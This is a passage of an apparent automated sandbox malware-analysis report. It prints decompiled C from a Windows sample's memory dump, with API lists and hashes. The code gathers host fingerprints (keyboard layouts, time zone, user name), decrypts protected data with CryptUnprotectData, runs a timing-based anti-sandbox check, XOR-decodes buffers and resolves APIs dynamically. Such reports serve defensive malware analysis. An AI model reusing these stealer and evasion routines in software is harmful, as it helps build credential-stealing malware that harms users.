FindNextFileA.KERNELBASE(000000FF,?), ref: 00409D98
FindClose.KERNEL32(000000FF), ref: 00409DAD

Strings

%s\*.*, xrefs: 00409B4D

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 17cff671c5b088ba29cd1f939e027977487a5fc66f9f8793f0469572126c6735
Instruction ID: 40ddeea6463e79618606ce93b98e9b87413dcbde514457397972783d08c0d7b9
Opcode Fuzzy Hash: 17cff671c5b088ba29cd1f939e027977487a5fc66f9f8793f0469572126c6735
Instruction Fuzzy Hash: F4618DB2900108ABC714EFA4DC85EDB73BCBF48700F0485A9F60993151DB75EA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE00, Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AE00() {
				void* _v8;
				void _v524;
				int _v528;
				int _v532;
				void* _v536;
				signed int _v540;
				void* _t63;

				_v536 = RtlAllocateHeap(GetProcessHeap(), 0, 0x1f4);
				_v528 = 0;
				_v8 = 0;
				_v532 = GetKeyboardLayoutList(0, 0);
				_v8 = LocalAlloc(0x40, _v532 << 2);
				_v532 = GetKeyboardLayoutList(_v532, _v8);
				_v540 = 0;
				while(_v540 < _v532) {
					GetLocaleInfoA( *(_v8 + _v540 * 4) & 0x0000ffff, 2,  &_v524, 0x200); // executed
					if(_v528 == 0) {
						wsprintfA(_v536, 0x414024,  &_v524);
						_t63 = _t63 + 0xc;
					} else {
						wsprintfA(_v536, "%s / %s", _v536,  &_v524);
						_t63 = _t63 + 0x10;
					}
					_v528 = _v528 + 1;
					memset( &_v524, 0, 0x200);
					_v540 = _v540 + 1;
				}
				if(_v8 != 0) {
					LocalFree(_v8);
				}
				return _v536;
			}

0x0040ae1d
0x0040ae23
0x0040ae2d
0x0040ae3e
0x0040ae56
0x0040ae6a
0x0040ae70
0x0040ae8b
0x0040aeb9
0x0040aec6
0x0040af00
0x0040af06
0x0040aec8
0x0040aee2
0x0040aee8
0x0040aee8
0x0040af12
0x0040af26
0x0040ae85
0x0040ae85
0x0040af35
0x0040af3b
0x0040af3b
0x0040af4a

APIs

GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040AE10
RtlAllocateHeap.NTDLL(00000000), ref: 0040AE17
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040AE38
LocalAlloc.KERNEL32(00000040,?), ref: 0040AE50
GetKeyboardLayoutList.USER32(?,00000000), ref: 0040AE64
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AEB9
wsprintfA.USER32 ref: 0040AEE2
wsprintfA.USER32 ref: 0040AF00
memset.NTDLL ref: 0040AF26
LocalFree.KERNEL32(00000000), ref: 0040AF3B

Strings

%s / %s, xrefs: 0040AED6

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: HeapKeyboardLayoutListLocalwsprintf$AllocAllocateFreeInfoLocaleProcessmemset
String ID: %s / %s
API String ID: 1833916909-2910687431
Opcode ID: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction ID: eeb2f0a0621c424ab69100cade097cc135afe8712b6e6ced773cd8003e1ddd0d
Opcode Fuzzy Hash: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction Fuzzy Hash: 48317CB098121CEBDB60DB54CD8DBE9B7B4FB54300F1086E5E509A6291C7745ED0CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD40, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0040AD40() {
				struct _TIME_ZONE_INFORMATION _v180;
				void* _v184;
				long _v188;
				long _t16;

				_v184 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t16 = GetTimeZoneInformation( &_v180); // executed
				_v188 = _t16;
				if(_v188 != 0xffffffff) {
					asm("cdq");
					wsprintfA(_v184, "UTC%d",  ~(_v180.Bias) / 0x3c);
					return _v184;
				}
				return _v184;
			}

0x0040ad5d
0x0040ad6a
0x0040ad70
0x0040ad7d
0x0040ad8f
0x0040ada4
0x00000000
0x0040adad
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AD50
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD57
GetTimeZoneInformation.KERNEL32(?), ref: 0040AD6A
wsprintfA.USER32 ref: 0040ADA4

Strings

UTC%d, xrefs: 0040AD98

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID: UTC%d
API String ID: 3317088062-2723047788
Opcode ID: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction ID: 6bb383849dc0d2738afe04011fc8d00bcf8755a75da2bcdf9aea4dbc95a6d17c
Opcode Fuzzy Hash: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction Fuzzy Hash: D9F0F670904318DBDB209BA0DD49BE5737AAF04301F0041E1EA09A3291C7745E90CF47

Uniqueness

Uniqueness Score: -1.00%

Function 00407510, Relevance: 4.5, APIs: 3, Instructions: 49
memoryencryptionCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00407510(intOrPtr _a4, char _a8, intOrPtr* _a12, long* _a16) {
				void* _v8;
				long _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				intOrPtr _t21;

				_v16 = _a4;
				_v20 = _a8;
				_t21 =  *0x41a91c( &_v20, 0, 0, 0, 0, 0,  &_v12); // executed
				_v24 = _t21;
				if(_v24 != 0) {
					 *_a16 = _v12;
					 *_a12 = LocalAlloc(0x40,  *_a16);
					if( *_a12 != 0) {
						E0040B6C0( *_a12, _v8,  *_a16);
					}
				}
				LocalFree(_v8);
				return _v24;
			}

0x00407519
0x0040751f
0x00407534
0x0040753a
0x00407541
0x00407549
0x0040755c
0x00407564
0x00407576
0x00407576
0x00407564
0x0040757f
0x0040758b

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00407534
LocalAlloc.KERNEL32(00000040,00000000), ref: 00407553
LocalFree.KERNEL32(?), ref: 0040757F

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction ID: 5588d120a004665a6ba361d23f784ce6a241c8210f3f123560cfb33f0262ac2e
Opcode Fuzzy Hash: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction Fuzzy Hash: A711BAB4A01209EFCB04DF94D984EEE77B5FF88300F108569E915A7390D734AE51CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00406AA0, Relevance: 4.5, APIs: 3, Instructions: 19
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406AA0() {
				long _v8;
				intOrPtr _v12;

				_v8 = GetTickCount();
				Sleep(0x2710); // executed
				_v12 = GetTickCount() - _v8;
				if(_v12 <= 0x1770) {
					return 0;
				}
				return 1;
			}

0x00406aac
0x00406ab4
0x00406ac3
0x00406acd
0x00000000
0x00406ad8
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00406AA6
Sleep.KERNEL32(00002710,?,00406B84), ref: 00406AB4
GetTickCount.KERNEL32 ref: 00406ABA

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction ID: 5e65db4bb8db0037cc9712db6db32af1b7f49a6c19175b0f31c2b6dd27f19f6d
Opcode Fuzzy Hash: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction Fuzzy Hash: F8E04F30949118DBCB00BFB4D9080AD7BB0EB01342F10C0B29807A2280DA784D609F5B

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACA0, Relevance: 4.5, APIs: 3, Instructions: 19
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACA0() {
				long _v8;
				void* _v12;

				_v12 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v8 = 0x104;
				GetUserNameA(_v12,  &_v8); // executed
				return _v12;
			}

0x0040acba
0x0040acbd
0x0040accc
0x0040acd8

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00406B14,JohnDoe,?,00406B8D), ref: 0040ACAD
RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040ACB4
GetUserNameA.ADVAPI32(?,00000104), ref: 0040ACCC

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: e9dc6b98a5dfea62f6889e6a1ef584fcd877daf0bb91c9162e28492c9d990377
Instruction ID: d8f7b171ebd5a715f3e42bd651ca7b29b46524e3321307990960babfdc207423
Opcode Fuzzy Hash: e9dc6b98a5dfea62f6889e6a1ef584fcd877daf0bb91c9162e28492c9d990377
Instruction Fuzzy Hash: 68E08CB4901208BBCB00EFE4DE49ACDBBB8AB08302F0040A4EA04E3280D6755A94CB52

Uniqueness

Uniqueness Score: -1.00%

Function 004048D0, Relevance: 3.1, APIs: 2, Instructions: 52
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004048D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				void* _t28;
				signed int _t33;
				void* _t53;

				_t28 = LocalAlloc(0x40, _a12 + 1); // executed
				_v12 = _t28;
				 *((char*)(_v12 + _a12)) = 0;
				_v16 = 0;
				while(_v16 < _a12) {
					_t33 = E0040B740(_a4 + _v16, _a8);
					_t53 = _t53 + 4;
					 *((char*)(_v12 + _v16)) =  *(_a4 + _v16) ^  *(_a8 + _v16 % _t33);
					_v16 = _v16 + 1;
				}
				_v8 = 0;
				VirtualProtect(_v12, 4, 0x100,  &_v8); // executed
				return _v12;
			}

0x004048e0
0x004048e6
0x004048ef
0x004048f2
0x00404904
0x00404919
0x0040491e
0x00404939
0x00404901
0x00404901
0x0040493d
0x00404953
0x00404960

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 004048E0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00404953

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: AllocLocalProtectVirtual
String ID:
API String ID: 4134893223-0
Opcode ID: 90b564fceca7221074c59603a80da56f6d10dbde48e6bfe9d302259930e3f4f3
Instruction ID: 4623e7d36af2260dceec399572c1bb905ae2e9b6f15e47edd37a55d804c2928b
Opcode Fuzzy Hash: 90b564fceca7221074c59603a80da56f6d10dbde48e6bfe9d302259930e3f4f3
Instruction Fuzzy Hash: 561173B4E00248EFCB04DFA8C890BAEBBB5FF49305F108099EA15A7341C735AA11CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040C4A0, Relevance: 268.6, APIs: 144, Strings: 9, Instructions: 865
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040C4A0() {
				CHAR* _t2;
				struct HINSTANCE__* _t3;
				struct HINSTANCE__* _t4;
				CHAR* _t6;
				struct HINSTANCE__* _t7;
				struct HINSTANCE__* _t8;
				struct HINSTANCE__* _t9;
				CHAR* _t10;
				struct HINSTANCE__* _t11;
				struct HINSTANCE__* _t12;
				struct HINSTANCE__* _t13;
				CHAR* _t14;
				struct HINSTANCE__* _t15;
				struct HINSTANCE__* _t16;
				_Unknown_base(*)()* _t17;
				CHAR* _t18;
				_Unknown_base(*)()* _t19;
				struct HINSTANCE__* _t20;
				CHAR* _t23;
				struct HINSTANCE__* _t25;
				CHAR* _t28;
				struct HINSTANCE__* _t30;
				CHAR* _t33;
				CHAR* _t34;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				struct HINSTANCE__* _t39;
				CHAR* _t41;
				struct HINSTANCE__* _t43;
				CHAR* _t46;
				struct HINSTANCE__* _t48;
				CHAR* _t50;
				struct HINSTANCE__* _t52;
				CHAR* _t55;
				struct HINSTANCE__* _t57;
				struct HINSTANCE__* _t59;
				CHAR* _t60;
				struct HINSTANCE__* _t61;
				CHAR* _t64;
				struct HINSTANCE__* _t66;
				CHAR* _t69;
				struct HINSTANCE__* _t71;
				CHAR* _t74;
				struct HINSTANCE__* _t76;
				CHAR* _t79;
				struct HINSTANCE__* _t81;
				CHAR* _t83;
				struct HINSTANCE__* _t85;
				CHAR* _t88;
				struct HINSTANCE__* _t90;
				struct HINSTANCE__* _t92;
				CHAR* _t95;
				struct HINSTANCE__* _t97;
				CHAR* _t100;
				struct HINSTANCE__* _t102;
				CHAR* _t105;
				struct HINSTANCE__* _t107;
				CHAR* _t110;
				struct HINSTANCE__* _t112;
				CHAR* _t115;
				struct HINSTANCE__* _t117;
				CHAR* _t120;
				struct HINSTANCE__* _t122;
				CHAR* _t124;
				struct HINSTANCE__* _t127;
				CHAR* _t128;
				struct HINSTANCE__* _t130;
				CHAR* _t133;
				struct HINSTANCE__* _t135;
				CHAR* _t138;
				struct HINSTANCE__* _t140;
				CHAR* _t143;
				struct HINSTANCE__* _t145;
				CHAR* _t148;
				struct HINSTANCE__* _t150;
				CHAR* _t153;
				struct HINSTANCE__* _t155;
				CHAR* _t158;
				struct HINSTANCE__* _t160;
				CHAR* _t163;
				struct HINSTANCE__* _t165;
				CHAR* _t168;
				struct HINSTANCE__* _t170;
				CHAR* _t173;
				struct HINSTANCE__* _t175;
				CHAR* _t178;
				struct HINSTANCE__* _t180;
				CHAR* _t183;
				struct HINSTANCE__* _t185;
				CHAR* _t188;
				struct HINSTANCE__* _t190;
				CHAR* _t193;
				struct HINSTANCE__* _t195;
				CHAR* _t198;
				struct HINSTANCE__* _t200;
				CHAR* _t203;
				struct HINSTANCE__* _t205;
				CHAR* _t208;
				struct HINSTANCE__* _t210;
				struct HINSTANCE__* _t213;
				struct HINSTANCE__* _t217;
				CHAR* _t220;
				CHAR* _t221;
				CHAR* _t222;
				CHAR* _t223;
				struct HINSTANCE__* _t224;
				CHAR* _t225;
				CHAR* _t226;
				struct HINSTANCE__* _t227;
				CHAR* _t228;
				struct HINSTANCE__* _t229;
				CHAR* _t230;
				struct HINSTANCE__* _t231;
				struct HINSTANCE__* _t232;
				struct HINSTANCE__* _t233;
				CHAR* _t234;
				struct HINSTANCE__* _t235;
				CHAR* _t236;
				struct HINSTANCE__* _t237;
				CHAR* _t238;
				struct HINSTANCE__* _t239;
				CHAR* _t240;
				struct HINSTANCE__* _t241;
				CHAR* _t242;
				CHAR* _t243;
				struct HINSTANCE__* _t244;
				CHAR* _t245;
				struct HINSTANCE__* _t246;
				CHAR* _t247;
				struct HINSTANCE__* _t248;
				CHAR* _t249;
				struct HINSTANCE__* _t250;
				CHAR* _t251;
				struct HINSTANCE__* _t252;
				CHAR* _t253;
				struct HINSTANCE__* _t254;
				CHAR* _t255;
				struct HINSTANCE__* _t256;
				struct HINSTANCE__* _t257;
				CHAR* _t258;
				struct HINSTANCE__* _t259;
				CHAR* _t260;
				struct HINSTANCE__* _t261;
				CHAR* _t262;
				struct HINSTANCE__* _t263;
				CHAR* _t264;
				CHAR* _t265;
				struct HINSTANCE__* _t266;
				CHAR* _t267;
				struct HINSTANCE__* _t268;
				CHAR* _t269;
				struct HINSTANCE__* _t270;
				struct HINSTANCE__* _t271;
				struct HINSTANCE__* _t272;
				struct HINSTANCE__* _t273;
				CHAR* _t274;
				struct HINSTANCE__* _t275;
				CHAR* _t276;
				struct HINSTANCE__* _t277;
				CHAR* _t278;
				struct HINSTANCE__* _t279;
				CHAR* _t280;
				struct HINSTANCE__* _t281;
				CHAR* _t282;
				struct HINSTANCE__* _t283;
				CHAR* _t284;
				struct HINSTANCE__* _t285;
				CHAR* _t286;
				struct HINSTANCE__* _t287;
				CHAR* _t288;
				struct HINSTANCE__* _t289;
				CHAR* _t290;
				struct HINSTANCE__* _t291;
				CHAR* _t292;
				struct HINSTANCE__* _t293;
				CHAR* _t294;
				struct HINSTANCE__* _t295;
				CHAR* _t296;
				struct HINSTANCE__* _t297;
				CHAR* _t298;
				struct HINSTANCE__* _t299;
				CHAR* _t300;
				struct HINSTANCE__* _t301;
				CHAR* _t302;
				struct HINSTANCE__* _t303;
				CHAR* _t304;
				struct HINSTANCE__* _t305;
				CHAR* _t306;
				struct HINSTANCE__* _t307;
				struct HINSTANCE__* _t308;
				CHAR* _t309;
				CHAR* _t310;
				CHAR* _t311;
				CHAR* _t312;
				CHAR* _t313;
				CHAR* _t314;
				struct HINSTANCE__* _t315;
				struct HINSTANCE__* _t316;
				CHAR* _t317;
				struct HINSTANCE__* _t318;
				CHAR* _t319;
				struct HINSTANCE__* _t320;
				CHAR* _t321;
				CHAR* _t322;
				struct HINSTANCE__* _t323;
				CHAR* _t324;
				struct HINSTANCE__* _t325;
				CHAR* _t326;
				struct HINSTANCE__* _t327;
				CHAR* _t328;
				struct HINSTANCE__* _t329;
				CHAR* _t330;
				struct HINSTANCE__* _t331;
				struct HINSTANCE__* _t332;
				CHAR* _t333;
				CHAR* _t334;
				struct HINSTANCE__* _t335;
				CHAR* _t336;
				struct HINSTANCE__* _t337;
				CHAR* _t338;
				struct HINSTANCE__* _t339;
				CHAR* _t340;
				struct HINSTANCE__* _t341;
				CHAR* _t342;
				struct HINSTANCE__* _t343;
				CHAR* _t344;
				struct HINSTANCE__* _t345;
				CHAR* _t346;
				CHAR* _t347;
				struct HINSTANCE__* _t348;
				CHAR* _t349;
				struct HINSTANCE__* _t350;
				CHAR* _t351;
				struct HINSTANCE__* _t352;
				CHAR* _t353;
				struct HINSTANCE__* _t354;
				struct HINSTANCE__* _t355;
				CHAR* _t356;
				struct HINSTANCE__* _t357;
				CHAR* _t358;
				struct HINSTANCE__* _t359;
				CHAR* _t360;
				struct HINSTANCE__* _t361;
				CHAR* _t362;
				struct HINSTANCE__* _t363;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
				CHAR* _t366;
				struct HINSTANCE__* _t367;
				CHAR* _t368;
				struct HINSTANCE__* _t369;
				CHAR* _t370;
				struct HINSTANCE__* _t371;
				CHAR* _t372;
				struct HINSTANCE__* _t373;
				CHAR* _t374;
				struct HINSTANCE__* _t375;
				CHAR* _t376;
				struct HINSTANCE__* _t377;
				CHAR* _t378;
				struct HINSTANCE__* _t379;
				CHAR* _t380;
				struct HINSTANCE__* _t381;
				CHAR* _t382;
				struct HINSTANCE__* _t383;
				CHAR* _t384;
				struct HINSTANCE__* _t385;
				CHAR* _t386;
				struct HINSTANCE__* _t387;
				CHAR* _t388;
				struct HINSTANCE__* _t389;
				CHAR* _t390;
				struct HINSTANCE__* _t391;
				CHAR* _t392;
				struct HINSTANCE__* _t393;
				CHAR* _t394;
				struct HINSTANCE__* _t395;
				struct HINSTANCE__* _t396;

				if( *0x41aa64 != 0) {
					_t128 =  *0x41a0b4; // 0xa17430
					_t273 =  *0x41aa64; // 0x74df0000
					 *0x41a9b4 = GetProcAddress(_t273, _t128);
					_t362 =  *0x41a728; // 0xa17460
					_t130 =  *0x41aa64; // 0x74df0000
					 *0x41aa24 = GetProcAddress(_t130, _t362);
					_t274 =  *0x41a2bc; // 0xa14cd8
					_t363 =  *0x41aa64; // 0x74df0000
					 *0x41a9bc = GetProcAddress(_t363, _t274);
					_t133 =  *0x41a668; // 0xa17478
					_t275 =  *0x41aa64; // 0x74df0000
					 *0x41a8b0 = GetProcAddress(_t275, _t133);
					_t364 =  *0x41a5d8; // 0xa17628
					_t135 =  *0x41aa64; // 0x74df0000
					 *0x41a910 = GetProcAddress(_t135, _t364);
					_t276 =  *0x41a26c; // 0xa173a0
					_t365 =  *0x41aa64; // 0x74df0000
					 *0x41a8b8 = GetProcAddress(_t365, _t276);
					_t138 =  *0x41a64c; // 0xa17640
					_t277 =  *0x41aa64; // 0x74df0000
					 *0x41aa90 = GetProcAddress(_t277, _t138);
					_t366 =  *0x41a4b8; // 0xa174d8
					_t140 =  *0x41aa64; // 0x74df0000
					 *0x41a908 = GetProcAddress(_t140, _t366);
					_t278 =  *0x41a2b4; // 0xa17568
					_t367 =  *0x41aa64; // 0x74df0000
					 *0x41aa70 = GetProcAddress(_t367, _t278);
					_t143 =  *0x41a7bc; // 0xa17580
					_t279 =  *0x41aa64; // 0x74df0000
					 *0x41a9d8 = GetProcAddress(_t279, _t143);
					_t368 =  *0x41a49c; // 0xa175c8
					_t145 =  *0x41aa64; // 0x74df0000
					 *0x41aa10 = GetProcAddress(_t145, _t368);
					_t280 =  *0x41a4fc; // 0xa174a8
					_t369 =  *0x41aa64; // 0x74df0000
					 *0x41a8cc = GetProcAddress(_t369, _t280);
					_t148 =  *0x41a3a8; // 0xa17658
					_t281 =  *0x41aa64; // 0x74df0000
					 *0x41aa9c = GetProcAddress(_t281, _t148);
					_t370 =  *0x41a1c0; // 0xa14a78
					_t150 =  *0x41aa64; // 0x74df0000
					 *0x41a998 = GetProcAddress(_t150, _t370);
					_t282 =  *0x41a1f8; // 0xa17388
					_t371 =  *0x41aa64; // 0x74df0000
					 *0x41a9a0 = GetProcAddress(_t371, _t282);
					_t153 =  *0x41a7ac; // 0xa14b18
					_t283 =  *0x41aa64; // 0x74df0000
					 *0x41aaac = GetProcAddress(_t283, _t153);
					_t372 =  *0x41a5f8; // 0xa168c0
					_t155 =  *0x41aa64; // 0x74df0000
					 *0x41a904 = GetProcAddress(_t155, _t372);
					_t284 =  *0x41a0dc; // 0xa173d0
					_t373 =  *0x41aa64; // 0x74df0000
					 *0x41aac4 = GetProcAddress(_t373, _t284);
					_t158 =  *0x41a30c; // 0xa14cf8
					_t285 =  *0x41aa64; // 0x74df0000
					 *0x41a86c = GetProcAddress(_t285, _t158);
					_t374 =  *0x41a664; // 0xa17718
					_t160 =  *0x41aa64; // 0x74df0000
					 *0x41a8fc = GetProcAddress(_t160, _t374);
					_t286 =  *0x41a04c; // 0xa14af8
					_t375 =  *0x41aa64; // 0x74df0000
					 *0x41aad0 = GetProcAddress(_t375, _t286);
					_t163 =  *0x41a0f0; // 0xa176e8
					_t287 =  *0x41aa64; // 0x74df0000
					 *0x41aa44 = GetProcAddress(_t287, _t163);
					_t376 =  *0x41a134; // 0xa176b8
					_t165 =  *0x41aa64; // 0x74df0000
					 *0x41a974 = GetProcAddress(_t165, _t376);
					_t288 =  *0x41a460; // 0xa176d0
					_t377 =  *0x41aa64; // 0x74df0000
					 *0x41a8e4 = GetProcAddress(_t377, _t288);
					_t168 =  *0x41a554; // 0xa17700
					_t289 =  *0x41aa64; // 0x74df0000
					 *0x41a868 = GetProcAddress(_t289, _t168);
					_t378 =  *0x41a190; // 0xa14b78
					_t170 =  *0x41aa64; // 0x74df0000
					 *0x41a96c = GetProcAddress(_t170, _t378);
					_t290 =  *0x41a52c; // 0xa17730
					_t379 =  *0x41aa64; // 0x74df0000
					 *0x41aad8 = GetProcAddress(_t379, _t290);
					_t173 =  *0x41a5d0; // 0xa17748
					_t291 =  *0x41aa64; // 0x74df0000
					 *0x41a930 = GetProcAddress(_t291, _t173);
					_t380 =  *0x41a268; // 0xa176a0
					_t175 =  *0x41aa64; // 0x74df0000
					 *0x41a8a8 = GetProcAddress(_t175, _t380);
					_t292 =  *0x41a3f8; // 0xa14c18
					_t381 =  *0x41aa64; // 0x74df0000
					 *0x41a894 = GetProcAddress(_t381, _t292);
					_t178 =  *0x41a3a4; // 0xa17688
					_t293 =  *0x41aa64; // 0x74df0000
					 *0x41a8c4 = GetProcAddress(_t293, _t178);
					_t382 =  *0x41a048; // 0xa17d30
					_t180 =  *0x41aa64; // 0x74df0000
					 *0x41a914 = GetProcAddress(_t180, _t382);
					_t294 =  *0x41a6b0; // 0xa17d78
					_t383 =  *0x41aa64; // 0x74df0000
					 *0x41a8b4 = GetProcAddress(_t383, _t294);
					_t183 =  *0x41a458; // 0xa17ad8
					_t295 =  *0x41aa64; // 0x74df0000
					 *0x41a9dc = GetProcAddress(_t295, _t183);
					_t384 =  *0x41a364; // 0xa17d00
					_t185 =  *0x41aa64; // 0x74df0000
					 *0x41aad4 = GetProcAddress(_t185, _t384);
					_t296 =  *0x41a550; // 0xa14fb8
					_t385 =  *0x41aa64; // 0x74df0000
					 *0x41a8a4 = GetProcAddress(_t385, _t296);
					_t188 =  *0x41a13c; // 0xa14e18
					_t297 =  *0x41aa64; // 0x74df0000
					 *0x41a8a0 = GetProcAddress(_t297, _t188);
					_t386 =  *0x41a428; // 0xa17bc8
					_t190 =  *0x41aa64; // 0x74df0000
					 *0x41aa20 = GetProcAddress(_t190, _t386);
					_t298 =  *0x41a420; // 0xa17c28
					_t387 =  *0x41aa64; // 0x74df0000
					 *0x41a9d4 = GetProcAddress(_t387, _t298);
					_t193 =  *0x41a02c; // 0xa14ef8
					_t299 =  *0x41aa64; // 0x74df0000
					 *0x41aab0 = GetProcAddress(_t299, _t193);
					_t388 =  *0x41a184; // 0xa165c8
					_t195 =  *0x41aa64; // 0x74df0000
					 *0x41a9a4 = GetProcAddress(_t195, _t388);
					_t300 =  *0x41a118; // 0xa17bf8
					_t389 =  *0x41aa64; // 0x74df0000
					 *0x41a8c8 = GetProcAddress(_t389, _t300);
					_t198 =  *0x41a1a4; // 0xa17b38
					_t301 =  *0x41aa64; // 0x74df0000
					 *0x41a860 = GetProcAddress(_t301, _t198);
					_t390 =  *0x41a400; // 0xa15138
					_t200 =  *0x41aa64; // 0x74df0000
					 *0x41a9b0 = GetProcAddress(_t200, _t390);
					_t302 =  *0x41a654; // 0xa14f58
					_t391 =  *0x41aa64; // 0x74df0000
					 *0x41a8f4 = GetProcAddress(_t391, _t302);
					_t203 =  *0x41a3dc; // 0xa14e98
					_t303 =  *0x41aa64; // 0x74df0000
					 *0x41a850 = GetProcAddress(_t303, _t203);
					_t392 =  *0x41a2dc; // 0xa17b50
					_t205 =  *0x41aa64; // 0x74df0000
					 *0x41a858 = GetProcAddress(_t205, _t392);
					_t304 =  *0x41a5f4; // 0xa14fd8
					_t393 =  *0x41aa64; // 0x74df0000
					 *0x41a92c = GetProcAddress(_t393, _t304);
					_t208 =  *0x41a780; // 0xa17be0
					_t305 =  *0x41aa64; // 0x74df0000
					 *0x41a978 = GetProcAddress(_t305, _t208);
					_t394 =  *0x41a0d8; // 0xa14f78
					_t210 =  *0x41aa64; // 0x74df0000
					 *0x41aa1c = GetProcAddress(_t210, _t394);
					_t306 =  *0x41a6ac; // 0xa14dd8
					_t395 =  *0x41aa64; // 0x74df0000
					 *0x41a890 = GetProcAddress(_t395, _t306);
					_t213 =  *0x41aa64; // 0x74df0000
					 *0x41aa58 = GetProcAddress(_t213, "CreateThread");
					_t307 =  *0x41aa64; // 0x74df0000
					 *0x41a8e8 = GetProcAddress(_t307, "GetEnvironmentVariableA");
					_t396 =  *0x41aa64; // 0x74df0000
					 *0x41a8ac = GetProcAddress(_t396, "SetEnvironmentVariableA");
					_t217 =  *0x41aa64; // 0x74df0000
					 *0x41aac8 = GetProcAddress(_t217, "lstrcpyA");
					_t308 =  *0x41aa64; // 0x74df0000
					 *0x41a994 = GetProcAddress(_t308, "lstrcpynA");
				}
				_t309 =  *0x41a03c; // 0xa175f8
				 *0x41a964 = LoadLibraryA(_t309);
				_t2 =  *0x41a1e4; // 0xa173e8
				_t3 = LoadLibraryA(_t2); // executed
				 *0x41a8d8 = _t3;
				_t220 =  *0x41a5fc; // 0xa17508
				_t4 = LoadLibraryA(_t220); // executed
				 *0x41aaa8 = _t4;
				_t310 =  *0x41a2c0; // 0xa175e0
				 *0x41a988 = LoadLibraryA(_t310);
				_t6 =  *0x41a240; // 0xa17598
				_t7 = LoadLibraryA(_t6); // executed
				 *0x41aa40 = _t7;
				_t221 =  *0x41a77c; // 0xa175b0
				_t8 = LoadLibraryA(_t221); // executed
				 *0x41a94c = _t8;
				_t311 =  *0x41a1e0; // 0xa17400
				_t9 = LoadLibraryA(_t311); // executed
				 *0x41aa34 = _t9;
				_t10 =  *0x41a568; // 0xa17448
				_t11 = LoadLibraryA(_t10); // executed
				 *0x41aa80 = _t11;
				_t222 =  *0x41a0a4; // 0xa17610
				_t12 = LoadLibraryA(_t222); // executed
				 *0x41a968 = _t12;
				_t312 =  *0x41a5a0; // 0xa17520
				_t13 = LoadLibraryA(_t312); // executed
				 *0x41aa98 = _t13;
